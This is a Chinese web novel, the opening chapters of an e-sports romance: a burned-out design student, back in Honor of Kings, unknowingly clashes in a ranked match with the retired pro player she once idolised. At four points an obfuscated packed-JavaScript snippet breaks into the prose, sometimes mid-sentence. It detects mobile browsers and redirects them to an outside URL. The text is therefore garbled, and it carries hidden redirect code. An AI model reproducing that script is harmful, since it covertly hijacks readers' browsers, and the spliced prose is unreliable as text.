《在王者喷了粉过的选手后》 1. 太阳雨 《在王者喷了粉过的选手后》 (原名《闪进你怀里》) 文/赵拂月 秦见夏平躺在宿舍的铁架床上。 将整个背部与床板紧密贴合,呼吸平缓,大脑放空。 耳畔处,仿佛还能传来日夜回荡的“咯吱”声。 那是上铺室友翻身时,带动床架晃出的次声波。微不可闻,却蝴蝶效应般,引发全身血液的震颤。 现在是下午,刚刚似乎下过一场太阳雨。 她在宿舍里躺着,能听到楼下正在往教学楼走的同学,发出阵阵哀嚎。 使得秦见夏感到无比庆幸,好在今天下午没课。 四四方方的遮光蚊帐床帘紧闭,像极了布面棺材,却为她在寝室分隔出一小块难得的私人空间。 可惜,去年冬天她把厚毛衣挂在床尾的钢管上,压塌了一根。 幸运的是,断裂的部位恰好在钢管末端的接口处。 秦见夏将这根坚强的钢管抬到接口的另一根钢管上方,刚好能搭在最长的管子上,勉强维持住一个稳固的不规则长方体。 长方体“棺材”内部,因一根钢管的断裂,造成两个面的扭曲,却凭借外部柔软又坚韧的布料,将整个床帘维持到他人肉眼看不出瑕疵的程度。 如果不是她主动给室友说起,她们甚至看不出,这副床帘其实已经岌岌可危。 这“棺材”似与秦见夏共生。 大学第一天刚收到包裹时,只是一堆崭新的零件,被逐渐拼成看似牢固的外壳,却在大二的某天深夜,被一件轻飘飘的毛衣坠得轰然坍塌。 她试探地,将坚硬的脊骨,生生掰到预演的支点处,勉强维持若无其事的外表。 安慰自己,挺一天算一天,反正快毕业了。 然而却无时无刻不在担忧,这根悬在头顶的达摩克利斯之剑,究竟何时会再度坠下。 只有她自己知道,这副给予她躯体自由却又禁锢她灵魂的外壳,或许在某一天、在下一秒,就会像初次那样再度轰然崩裂,将她砸成狼狈的落水狗。 这场太阳雨其实也落在她身上。 明明被浇得浑身湿透,却对着太阳什么也说不出。 甚至无法对他人诉说“刚刚下雨了”,旁人只会挥手指向刺眼的阳光,说你是不是精神不太正常。 天气预报不是晴天吗?怎么会下雨呢。 自认倒霉吧。 “啊哈哈哈哈哈哈哈哈——” 尖锐的声音,使心腔冲出一个紧绷的弧度。 秦见夏感到自己的心率,正在随音量断崖式飙升。 两个室友又在一边看动漫,一边激动地大吼大叫,她对此已经习以为常。 秦见夏的宿舍是四人间上下铺,有两名室友是二次元,关系较好。 陈文欣和苏织经常一起玩游戏、看动漫,不分时间场合地大声吵闹,有时甚至会叫到半夜一两点。 搞得她总是担心,她们宿舍会不会被挂表白墙。 另一位室友林喜,也是沉迷爆火动漫的隐形二次元,但因正在追求男生,被室友陈文欣打为“现充”。 秦见夏其实不理解,什么才是真正的“二次元”。 刚上大学时,为了合群,她说自己游戏、动漫、小说、漫画都涉猎甚广,小时候还天天买《守护甜心》和《百变小樱》的贴纸,她应该也算二次元。 结果陈文欣说—— “你爱和朋友出去玩,我们二次元都是死宅,你也是和我们不同的‘现充’。” 没想到“二次元”这圈子的门槛还真高。 后来她发现陈文欣和苏织两个“真二次元”,在共同玩一款很火的治愈游戏。 她心道机会来了,跃跃欲试地从床帘探出头来,问她们这款游戏好玩吗,她也想试试。 结果上铺的陈文欣轻飘飘地落下一句:“你是玩MOBA的,这游戏不适合你。” 秦见夏本想说自己什么游戏都玩,却又突然觉得,没有这个热脸贴冷屁股的必要了。 总之,大学生活和电视剧上的不太一样。 寝室天花板上,嵌着历史悠久的白炽灯,覆满灰尘的透明灯泡里,灯芯似乎下一秒就会“哔”地崩断。 惨白的光穿破布料,刺进她眼底。 这不到二百块钱的床帘质量确实一般。 秦见夏仰起下巴,交叠的胳膊垫在后脑勺,透过那层能看清布料纹路的“棺材”,直勾勾地盯着灯源看,目光没什么焦距。 她知道现在是下午一点,并非休息时间,室友发出声音没有任何错处。 要怪就只能怪,她大学之前的日子过得太舒坦了。 秦见夏在心底不断地叹着气。 说不清究竟是因为噪声叹气,还是因为作业叹气。 秦见夏是视觉传达设计专业的大三学生,三周后就要做结课汇报了,但她的大作业却没有丝毫进展。 大脑在求身体去赶作业,身体就是叛逆地“我自岿然不动”。 耳边又传来一阵室友们的尖叫声,她懒懒地翻了个白眼,拿起枕边的AirPods戴上。 反正室友们也不急,那她再摆俩小时。 秦见夏拿起手机打算刷会抖音,却看到高中男同学给她发了微信。 高中毕业后,她只零星地和几个高中同学在抖音保持着若即若离的联系,以分享视频为主,聊天为辅,除非有要紧事才会选择发微信。 周内下午一点,能有什么要紧的事? 外面上课声潮已经过去,手机被她调成深色模式,秦见夏有点昏昏欲睡。 王铭:「看比赛了吗夏姐?」 王铭:「fyz又输了」 王铭:「靠!」 王铭:「感觉老选手退役后队里青黄不接」 不断弹出的消息中,许久未在她生活里出现过的,“比赛”、“FYZ”等字眼,令秦见夏有些怔愣。 像是意外偶遇多年未见的故友一般,既熟悉又陌生。 真的已经很久很久,没听到过这些了。 其实在刚刚步入大学的第一个学期,她还会和之前的同学聊英雄联盟,聊电竞比赛。 之后不知从何时起,这些突然从她的生命里消失,仿佛车窗上的雾渍,没留下一丝痕迹。 或许是某次睡前退出的微博超话,又或许是某次打完游戏后点下的关闭。 这些曾经爱不释手的乐趣,不知从哪次起,悄然变成最后一次。 如今再遇,恍如隔世。 现在,围绕在秦见夏身边的是—— “四六级”、“计算机二级”、“教师资格证”、“实习”、“考研还是考公”、“上学还是就业”,以及数不胜数的deadline。 明明曾经在秦见夏的Q|Q空间里,出现次数最多的是LPL、英雄联盟、FYZ、Jichoo等等。 结果,现在的她连Q|Q都不用了。 时过境迁,秦见夏心里五味杂陈。 所以,她收到消息的第一反应是—— 「你居然还在看比赛?」 王铭:「老当益壮」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669812|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王铭:「要不是现在画cad画出腱鞘炎了,不然感觉我上我也行」 秦见夏不知道该如何回复,因为她已经好几年没关注比赛,甚至连现在的选手都叫不出名字。 但她是一个不能让话掉在地上的人,于是火速打开微博热搜补课。 果然,“FYZ输了”的词条挂在热一。 秦见夏点进去大致了解状况,打字回道:「daybreak打fyz没失手过啊,大惊小怪/憨笑」 Daybreak后浪拍前浪,当初就是他把Jichoo打退役的。 王铭:「感觉jichoo走了之后,fyz彻底萎靡不振了」 “Jichoo”这个熟悉的id出现,令秦见夏挑了挑眉。 秦见夏:「现在jichoo在哪发财呢?还是已经老婆孩子热炕头了?」 Jichoo本名谈继秋,是FYZ战队的ADC选手,因实力退步守了一年饮水机后,已于去年正式退役。 他是秦见夏曾经最喜欢的选手。 退役仪式那天,热搜刷屏,她看到后还伤感地发了条朋友圈,配文“青春结束了”。 想想也真是有点非主流。 而且现在那条朋友圈还被她挂在置顶…… 王铭:「人家谈继秋就比咱大四岁,前几天fine还搞抽象给他发微博征婚呢」 王铭:「jichoo退役之后黄油立马把他签了,咱秋神直接给这半截入土的直播平台盘活了,现在黄油得把他供起来叫爷爷,每天磕仨响头,才对得起我jichoo/憨笑」 秦见夏:「黄油直播居然还没倒闭?谈继秋居然还在打lol?」 王铭:「当然了,直播多赚啊」 王铭:「不过这两天他可能不播了,微博说是和fine打了赌,赌的王者荣耀,谁单排上王者速度快谁赢,输的要给赢的买顶配switch,还得包所有游戏」 王铭:「我判断可能是农砸钱了,不然两个玩撸啊撸的怎么可能跑去打贴膜游戏?」 王铭:「而且咱罚金哥也真是勇,电竞活人,我自封他为大勇哥,底下评论都给他喷成孙子了他还敢打赌呢,集体刷屏让他赶快退役滚去玩农药」 王铭:「难道这就是真少爷的松弛感吗」 秦见夏还在输入中,那边又说:「不聊了,上课了,这老师看见玩手机的就给扣平时分,期末评教必给他打四个b」 于是她只好结束话题:「88,祝你平安」 短暂的友情回血后,秦见夏再度陷入到无尽的虚无中。 室友依旧在吵闹,她望着棺材盖,不知今夕是何年。 她切换微博,久违地搜索着Jichoo的名字。 猛然意识到,自己刚打出“jic”三个字母,输入法就会自动弹出谈继秋的id。 Jichoo的微博头像依旧是粉丝给他画的Q版小人,这个头像他用了五六年,微博id也没有改过。 一切似乎和她高一刚关注他时,没什么变化。 唯一能衡量时间流逝的,大概是主页最底部显示的【未关注】。 上大学后,秦见夏不想让有些同学看到自己的近况,就把之前的微博账号注销,又注册了一个新号。 她把曾经关注的部分博主搬运到新账号,却忘记了Jichoo。 就像渐渐被她遗弃在角落的、充满天真烦恼的青春。 秦见夏在重新点击“关注”的那一刻,恍惚地意识到—— 原来她也弄丢了部分的自己。 2. 那一年 秦见夏的ddl其实很紧急。 作为艺术学院设计系的美术生,与其他文化生的考核方式不同。 她们没有期末考试,但一个月结一次专业课,每门课包含三次小作业和一次大作业。月底结课时,需要打包四次作业的文件一并交给班长。 也就是说,每周都有ddl,每月最后一周都是“期末周”。 正如大学第一节专业课时,系主任范川调侃过的—— “搞设计的都有拖延症”。 大一的秦见夏对此嗤之以鼻,大三的秦见夏不拖到截止日期最后十二小时,是不会新建文档的。 所以—— 此刻的她横过手机打开了TIMI。 在ddl的驱使下,耳旁室友们看番的声音都令她感到无比安心。 一个人摆,会惴惴不安。 但一群人摆,心里只会感到默契的踏实。 秦见夏与游戏的渊源,要追溯到中学时代。 那时端游依旧是主流,所有千禧年左右出生的小孩接触的第一款MOBA游戏,大概都是英雄联盟。 英雄联盟的确是信仰。 所以哪怕家里只有妈妈那台轻薄本电脑,秦见夏也在中考完的暑假,偷偷拿来下载了LOL的客户端。 即便a一下电脑卡一下,她也顽强地打到了二十九级,甚至光听到主页面的点击音效都会感到莫名兴奋。 后来上了高中,班里开始风靡王者荣耀。 王者不吃硬件,一部手机就能和全班人solo。 虽然秦见夏嘴上高傲地说着“我是尊贵的LOL玩家”,但背地里还是跟风打起了王者——毕竟她妈的电脑再玩下去就彻底报废了。 青春期的小孩总是虚伪又幼稚。 大家都一边别扭地觉得玩端游的“高人一等”,一边又默默和同学们相约在王者峡谷里五黑,写完作业后一打开王者荣耀,发现基本所有好友都在线。 以前还没有星耀段位,上了钻石就是王者。 秦见夏始终记得,自己拿狄仁杰第一次晋级到钻石段位的那天晚上,她激动得甚至连觉都没睡好。 秦见夏和她的高中同学们,就这么一边讨论LOL,一边王者荣耀两手抓。 周内自习课上,会换座位围着同一部手机看电竞比赛,即使静音都看得津津有味。 手机要是不幸被年级组长缴获,就只能在课间背靠桌子煞有其事地分析战局和BP。 那时,喜欢LCK选手的同学,甚至还会被幼稚的他们视作“叛徒”。 周末就三三两两地约着,一起去学校旁边的黑网吧撸啊撸开黑。 由于大伙都是黑铁黄铜段位的菜鸡,所以输赢无所谓。 那时的日子倒是过得无忧无虑。 虽然班里同学喜欢的战队各不相同,但在二〇一八年,大家都共同喜欢FYZ。 世界赛上那一把让二追三逆风翻盘,让秦见夏他们这群小孩从此对这个战队乃至Jichoo,都产生了深厚的滤镜。 那一年盛夏,Jichoo的霞在队友全军覆没的情况下,一手大招接E倒钩打出爆炸伤害拿到三杀,又单枪匹马地追着两个外国人杀到敌方门牙塔斩获五杀。 解说们激动到嗓子都喊破音,Jichoo更是直接被广大网友加冕为“秋神”。 哪怕最终FYZ仍未夺冠,但Jichoo和其他四位选手的微博皆在一夜之间涨粉几十万,足以见得电竞圈对他们的认可。 秦见夏也是那几十万分之一。 在此之前,秦见夏粉的选手另有其人,她只觉得这是个帅哥。 在本身就歪瓜裂枣、死宅占大多数的电竞圈,Jichoo以鹤立鸡群的身高和比肩电影明星的建模脸,被广大网友在贴吧一票一票地选为“电竞颜值天花板”。 此人帅到导播拍他的时长都是别人的二倍,甚至连经常在微博发他高清生图的FYZ专属摄影师,都收获了五十万粉丝。 关于Jichoo,有一句广为流传的名言—— “你或许不看LPL也不懂电竞,但你一定见过这张脸。” 他还有一张百万赞的出圈神图。 是某次比赛结束后被抓拍的照片,摄影师恰好以仰拍的角度,记录下他单手摘掉耳机的瞬间。 那是一张白净秀气的脸。 五官并没有深邃到刀刻般的程度,却恰到好处地俊朗。 他总是面无表情,浑身带着太阳底下也晒不干的潮湿气质,无论输赢,神色都淡淡地,像一汪沉默的深潭。 那把来势汹汹追着人杀到高地的霞,与他的淡人感截然相反。 出圈神图的亮点在于,照片里瞬间捕捉到的他,蕴藏着一双俯视的、猛兽蛰伏般沉静的眼。 网友们纷纷表示—— “这看狗的眼神给我看爽了”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669813|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然而,一开始的秦见夏却并不这么认为。 电子竞技向来实力至上。 如此小白脸,也就骗骗圈外人。 况且FYZ那把逆风翻盘前,Jichoo并不是LPL实力最强的ADC,比起第一代的Serein,Jichoo的实力只能算是中规中矩,他的黑粉们都骂他是“电竞花瓶”。 所以,起初粉Serein的秦见夏也潜移默化地认为,Jichoo只是FYZ用来吸粉的花瓶。 结果世界赛上,他一把单人五杀彻底打碎了“电竞花瓶”的头衔。 也让所有人都牢牢记住,这个长得最帅的ADC名字叫谈继秋,是扭转局势的“秋神”。 Jichoo自此一战成名。 他的颜值不再是挨骂的标签,反倒变为吸粉利器,商业价值更是直线飙升,也算由他开启了“电竞明星”的时代。 秦见夏作为本就慕强还颜控的墙头草,自然也顺势成为Jichoo的粉丝。 高中时甚至沉迷到边写作业边看他直播,虽然无法做到每天都在他的超话和贴吧签到,但是关于他的动态倒是一次不落。 高中的网名,流行用和自己偶像有关的id。 秦见夏也追赶潮流,给所有游戏和账号都加上了Jichoo的属性。 所以—— 如今大三的她,更新完王者荣耀加载出主页后,看到左上角的「秋神给我打钱」这六个大字时,直接两眼一黑。 这个id不出意外是高二那年起的,居然一直留到现在…… 难道每年春节短暂回游的那几天,她都不舍得买改名卡吗? 那当然了。 九块钱可以买一杯蜜雪冰城,也可以冲九百个晋江币,但万万不可只在王者买个华而不实的改名卡。 区区王者id而已,顶多羞耻两天也就继续退游了。 反正Jichoo已经过气。 他自从实力退步后就被踢下神坛,目前只在LOL的圈子里比较有热度,很少会再出现一八年那种全平台热搜都铺天盖地的盛况。 这两年最热门的现役ADC是Daybreak,Jichoo这种远古神早已算作时代的眼泪。 况且LOL都凉得差不多了,新一代小孩都玩王者。 打王者荣耀的谁会知道秋神是谁啊? 只要没有Jichoo的黑粉认出,她就不算羞耻。 3. 晋级赛 秦见夏领完回归礼包后,迫不及待地点进排位房间,不出意外看到最右侧的好友列表全是灰色。 五个位置只有她一个人在,使她难免回忆起和同学们快乐五排的日子。 一个个不再亮起的灰色头像,似乎是长大的象征。 这学期开学第一堂课上,系统提示秦见夏手机内存不足,是否卸载长时间未使用的APP,里面就有王者荣耀和掌上英雄联盟。 耳边传来专业课老师的声音—— “你们要尽快做好决定,究竟是考公考研,还是直接选择就业……” 秦见夏低头摆弄着手机,思索片刻,选择删掉掌盟。 王者得留着,每次社团部门聚餐后,会有人提议一起打。 英雄联盟是彻底不玩了,甚至也不再关注比赛,她的苹果电脑也打不了,掌盟留在手机里没用。 上大学后,相比起游戏来说,一台轻薄、色差小、老师同款的生产力工具MacBook,似乎更加重要。 秦见夏的家庭条件并不算差,只是她认为一台笔记本足够,仅仅为娱乐需求,完全没必要再买台式电脑。 曾经以为LOL永远不会被王者取代,但很显然,每次过年会和朋友们一起玩的是王者荣耀,并非LOL。 秦见夏并没有意识到,自己离英雄联盟越来越远。 而她曾经的梦想,是去拳头当游戏设计师。 她一边觉得小时候天真地可笑,一边又有几分悲哀。 虽然她以美术生的身份,选择了视觉传达设计这个万金油专业,看似距离梦想只差临门一脚。 但只有身处旋涡中心时,才会恍然大悟——拼命游只会越陷越深。 她想要的究竟是什么呢? 她自己也不知道。 当初报志愿时,大家都说视传学得多,就业面广,她便兴致勃勃地跟随大流选择了这个专业。 但真正学起来才发现,这并不是她梦寐以求的,甚至三年后的现在,也早过了就业红利期,行业已经饱和。 这三年来,她学了很多自己并不喜欢的东西,看起来什么都会,却没有一样精通,整天还忙得像只无头苍蝇。 十七岁的秦见夏,每晚睡前都幻想成为一名游戏概念设计师。 但二十一岁的她深知,自己只是个没有天赋还懒惰的普通人。 一个门门专业课拿平均分、绩点排名总在中游的平凡大学生。 如果一个人整天上着不感兴趣的专业课、无聊划水的公共课,做着一周需要准备两次的pre,还要应付青年大学习和社团事务,同时兼具搞小团体的室友—— 她只会在真正感兴趣的游戏设计课上打盹摸鱼、面对建模软件看不懂的界面感到心累,然后在即将结课时,打开闲鱼花费三块九毛九,从学长那买来的五十个模型zip里,随便挑一个出来改改应付作业。 秦见夏早就从日复一日的大学生涯中,模糊地意识到,自己未来的归宿只有广告公司、电商运营和学校门口的打印店。 或者转行卖学姐烤冷面? 运气好的话,兴许会凭借一份211的学历和及格的作品集,勉强混入中大厂成为底层牛马,每天加班卷到凌晨,然后在三十五岁生日当天被HR宣布优化,最后拿到“人生的第一桶金”N+1裁员补偿告老还乡。 如果运气实在不好,兴许不必等到裁员就会猝死在工位上,连夜登顶本地社会头条,然后在第二天被娱乐八卦冲刷得无影无踪。 当然现在更加残酷。 自从AI问世,各大厂商已逐渐具备完善的算法和数据库,不再需要“过剩”的劳动力。 据头部美院毕业的专业课老师描述,她在大厂工作的同学也没撑过第二轮裁员。Q美毕业十项全能的成熟设计师,也要面临中年失业危机。 连她们艺术学院的一位老师都开始和K大合作,搞什么AI与平面设计结合,打算让他的学生们更加找不到工作。 这是一件光鲜亮丽的黑色湿衣服。 只有自己心里最清楚,穿着太难受了。 秦见夏是一个做任何事情都会权衡利弊的人。 她自以为是地认为,她在人生的每一个关键节点,都选择了最优解。 然而,如今落得个鱼和熊掌兼失的局面。 但已身在漩涡中心,放弃挣扎只有死路一条。 唯一能做的,只有闭眼向前。 秦见夏躺在断了根钢管的棺材床帘里,再次感叹前途一片黑暗。 好在她已经习惯失败。 现在生活扇她一巴掌,她只会说抽得没上次响。 这学期开学前,她和父母商量决定先去读研,打算给长衫再接一段,这样毕业后脱得更方便,还能顺便起个号。 结果今年十二月底就要考试,学院还给她们安排了一周三天的专业课,以及并没有因即将步入大四就减少的pre,甚至每次作业的质量要求还提高不少。 而且她们20级吃尽时代黑利,也没办法找代课。 这届招生人数少,一个班就十来个人,老师走进门用余光扫一眼都能看出谁没来。 翘课或找代课,属于哪吒开大主动飞进对面泉水,下一秒就会被辅导员扣信誉分,还不如直接泉水挂机。 因此,她们经常被老师开玩笑,说是在“提前适应研究生小班教学”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669814|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一副学生们赚到了的姿态。 于是现在搞得所有人考研学不进去,作业没心情做,实习也找不了——没有公司会要一周只能上两天班的实习生。 前些日子,秦见夏和同学们一起去找辅导员商量,得来一句轻飘飘的“学生还是上课最重要”。 她不甘心结果,礼貌询问“我们学校别的学院怎么不这样”,还莫名得罪了一身名牌的导员,被认为是对学院和导员本人有意见。 导员隔三差五地给她发微信,让她去办公室谈谈。 秦见夏只能自认倒霉。 毕业证就像孩子拴住妈,打碎了牙也要往肚子里咽。 就这样,在ddl与毕业去向的双重压力下,秦见夏选择扎进王者峡谷里无法自拔。 一入峡谷深似海,从此作业是路人。 反正今天周五,周末和周一都没课,她日夜兼程、连打三天,凭借回归玩家的优势一举打到星耀一,只差最后一颗星就能上王者。 虽然现在是个人有手就能上王者,但万一回头拿个市标省标,还是可以在朋友圈嘚瑟一下的。 最后一把晋级赛,秦见夏势在必得。 BP环节时,她看到一楼的id是「都别抢我辅助」。 她心想,稳了,这波稳了。 秦见夏主玩射手和法师,虽然辅助也玩得不错,但单排容易遇到carry不起来的猪队友,所以只有五排她才辅助。 作为五楼,很容易轮到辅助位,她立马发了战绩和快捷信号:「我玩射手。」 队友都一言不发。 结果ban完英雄后,一楼秒锁孙尚香。 故意的。 绝对是故意的。 秦见夏查看一楼的对局详情,发现他总对局只有两位数,还全部玩的射手。 不出意外应该是个什么中年大叔。 她气得打字飞快:「晋级赛,一楼玩辅助行吗?」 都别抢我辅助:「不行,我也是晋级赛。」 此时,顶着“都别抢我辅助”id的Jichoo,心态已濒临崩溃。 这是他的第五把晋级赛了。 明明只要再打一把,就能拿下和Fine的赌局。 结果每把都能遇到摆烂队友,他前面居然打了整整四把晋级赛! 甚至这第五把的输赢还是未知数…… 他作为S7夏季赛冠军、S7MSI冠军、S8夏季赛冠军、S8总决赛季军、S9洲际赛季军、S8和S9的年度最佳ADC—— 降级来玩手游怎么会单排上不了王者? 淡人来打王者荣耀也要骂一句—— 逆天ELO机制。 4. 「抱歉」 一开始,谈继秋并不想和他们队的中单Fine打赌。 他有钱,而且Switch对他毫无吸引力。 再说他一个LOL退役选手,公开拿王者打赌,总觉得不太好。 虽然私下里这种“几天上王者”的赌约很常见,但大家都没往台面上搬过。 然而作为老队友的Fine太了解他。 一句“和平台打过招呼了,你就是不敢赌,毕竟人家Daybreak三天就能上王者”刚撂下—— 谈继秋立刻嗦完最后一口泡面,把纸桶推向一边,用鼠标点击取消对局,随即抄起手机TIMI。 一言不发,但动作行云流水。 把谈继秋打退役的小将Daybreak,完全可以激起他的情绪。 Fine对此颇为得意。 于是谈继秋鸽了四天直播,放弃了大把的火箭和兰博基尼,打到现在就是为了上个破王者。 其实Fine猜错了。 当初他虽然是输给YLS之后提出的退役,但他很早之前就不想打了。 Daybreak和他的退役没有因果关系。 谈继秋之所以接受他的赌局,完全是因为—— 他太烦人了。 如果这次拒绝他的恶趣味,Fine一定会搞得满城风雨,甚至无时无刻不拿出来调侃。 还不如同意和他打赌,一次性解决所有麻烦。 反正只是五天内上王者而已,并不困难。 谈继秋也同样对自己的老队友了如指掌。 于是就有了现在的第五把晋级赛。 BP前,五楼队友预选狄仁杰,打信号说要玩射手。 谈继秋压根没拿五楼当回事。 毕竟他在一楼,他可以一抢。 如果是那种系统自动分配位置的版本,或许还要商量换一下分路。 但目前这种手游低分局,他认为完全没有沟通的必要,开局后队友自会知道实力。 于是等双方ban完英雄,他直接秒锁孙尚香。 五楼只好妥协,沉默地改成蔡文姬辅助。 谈继秋幼稚地笑了笑,换上末日机甲的紫色星元皮肤后,这才注意到五楼的id。 都别抢我辅助:「5l是jichoo粉丝?」 秋神给我打钱:「对啊」 秦见夏没想到真有人认出,这人还和她抢位置,极有可能是黑粉。 火气瞬间窜了上来。 现实里在学校当窝囊废,游戏里凭什么不能报复社会? 与其被黑粉嘲讽,不如直接主动出击。 秋神给我打钱:「你顶着辅助的id抢什么ad?」 秋神给我打钱:「打得明白吗你」 没有任何一个打了六年王者、LOL玩电信一区、粉Jichoo还混过微博和抗压吧的竞粉不是喷子。 秦见夏也不例外。 谈继秋莫名觉得好笑。 她知道她喷的正是“秋神”本人吗。 他语音输入道:「六分钟后你就知道我能不能打明白了。」 秦见夏两只手用横屏噼里啪啦地打字:「六分投的话我做鬼也不会放过你」 一楼不再抬杠,突如其来地给她送了个V10的皮肤戳戳。 都别抢我辅助:「这局我的皮肤随便用!@秋神给我打钱」 秦见夏:“?” 她被气得要死,骂骂咧咧地发了个“神经病”,还被和谐。 秋神给我打钱:「***」 秦见夏:“……” 更气了! 不过……她还真没蔡文姬的传说皮肤,只有几个免费送的寒酸皮。 本着不用白不用的态度,她默默换上花朝如约。 秋神给我打钱:「用了这个皮肤一定能赢!」 秦见夏再度:“……” 忘记这茬尬的了。 她差点尴尬得咆哮出声,一抬头又很快把自己哄好。 没事的,秦见夏安慰自己,没事的,反正这把打完就再也不会遇到了。 【己方阵容:吕布、孙悟空、小乔、孙尚香、蔡文姬】 【敌方阵容:孙策、兰陵王、不知火舞、虞姬、庄周】 秦见夏并不看好这个阵容,敌方相对来说更加灵活,如果孙策会玩的话更是全图开团,直接六分投就行了。 但孙尚香的皮肤是末日机甲的星传说,好像看上去有那么一点靠谱。 至少不是原皮后羿…… “欢迎来到王者荣耀。” “敌军还有五秒到达战场——” “全军出击!” 秦见夏买了宝石,控制蔡文姬走进中路。 虽然不知道为什么这个版本的辅助开局要帮中路抢线,但她还是选择入乡随俗,避免被队友骂。 她绕到河道和野区交界处的草丛里,蹲着帮打野看点,这样对面反蓝她可以第一时间打信号。 中路小乔是个不会补刀的,秦见夏眼睁睁地看着第一波兵全漏了,只能蹲在草里皇帝不急太监急。 虽然王者补不到小兵的最后一丝血也有钱拿,但补到了爆的金币更多啊。 经济基础决定上层建筑,前期的经济至关重要。 敌方没来反蓝,己方打野猴子用惩戒将蓝buff收走后埋头刷野,对面辅助庄周也转了线。 秦见夏马不停蹄地从己方野区往下路走,刻意穿过红buff背后的草丛,探了探有没有敌方蹲守。 全程OB的谈继秋见状有些意外,这个粉丝的意识倒还不错。 秦见夏很快来到下路河道的草丛,感觉自己像只阴暗的蟑螂,一路光沿着草走。 她见孙尚香补兵补得很顺利,就继续在草丛里蹲着,以防对面打野兰陵王突然偷袭。 秦见夏仔细盯着小地图,手机突然弹出电量不足5%的提示。 于是她连忙拉开蚊帐,翻身下床,小跑到书桌前插上数据线。 机身微震的瞬间,耳机里传来一声响亮的“firstblood”。 【孙尚香】击杀【虞姬】 孙尚香居然瞒着她蔡文姬拿一血了? 秦见夏看射手只剩半管血,立刻赶过去用一技能给他回复状态。 她本打算往自家防御塔拉扯,以防兰陵王突然来抓。 结果拿完一血的孙尚香非常狂妄,还站在塔外旁若无人地疯狂补兵。秦见夏见他走位还行,一时有些分不清他是勇敢还是脑残。 此时己方打野猴子在上路草丛蹲着准备抓人,中路小乔也在赶往上路,敌方打野和中单都不知所踪,下路只有一个庄周在守塔。 秦见夏此时非常想问孙尚香一句:你怎么敢的啊? 她还没升四级,孙尚香也没大,要是对面打野和中单来抓下,他们直接一死一送。 而且庄周这条肉鱼很难杀,她认为没必要冒这个险,非把线卡得那么深。 没想到孙尚香比她想得更飘,他还想再杀一个。 秦见夏反应过来时,孙尚香已经提起枪往敌方防御塔冲了。 她只能一边迅速打开地图往下路河道处标点提示射手,一边硬着头皮跟在孙尚香屁股后面加血,又无可奈何地把信号图标拉到召唤师技能处,提醒他干扰已就绪。 敌方庄周发现势头不对,打算跑路,刚退到防御塔边缘,孙尚香立刻一技能翻滚跟上,然后二技能打出减速和标记,又接一三消耗血量。 可惜四级的孙尚香伤害不够,让庄周丝血溜进防御塔。 谈继秋判断对面中野都在上路,敌方庄周就剩层血皮,蔡文姬还有干扰,完全能杀。 于是一脚踩进红圈,准备越塔强攻。 这时——蔡文姬突然开着摇摇车亮着一技能从身后出现,秒扔干扰,又往庄周身上丢了个二技能,之后迅速从防御塔逃离。 一套丝滑连招,根本没将射手放在眼里。 粉色花簇“啪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669815|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗒”一下,将丝血庄周绞杀。 【蔡文姬】击杀【庄周】 谈继秋:“……” 他当即用一技能滚出防御塔,还是不小心被塔烫了一下。 只见蔡文姬一摇一摇地跟在他屁股后面,头上冒出个「抱歉」。 谈继秋再度:“……” 这是在嘲讽还是? 蔡文姬见他丝血,立刻极有眼色地给他开大加满。 谈继秋踩进花花绿绿的大招圈里,心想这小蔡还算有点良心。 原谅她了。 上路的gank也大获全胜,虽然己方小乔被兰陵王一换一带走,但队友吕布跳大配合猴子收割,将敌方一举团灭。 孙尚香顺势带线,直逼下路一塔。 将一塔点掉时,射手一跃成为全场经济最高,蔡文姬也终于做出小圣杯。 猴子刷完野就来下路打暴君,射辅趁对面在刚刚被点掉的防御塔处清线,选择过去帮打野拿龙。 刚打掉暴君,三人头上立刻出现兰陵王的感叹号。 紧接着,秦见夏捕捉到耳机里传来孙策开船时,发出的阵阵狗叫声。 于是她先用一技能给队友回复状态,然后提示自己有大招。 孙策带着不知火舞从中路赶来,一船撞到距离最近的猴子身上。秦见夏马上用二技能捆住孙策,滑过去开大支援队友团战。 缚身孙策瞬时被猴子一棍大招带走。 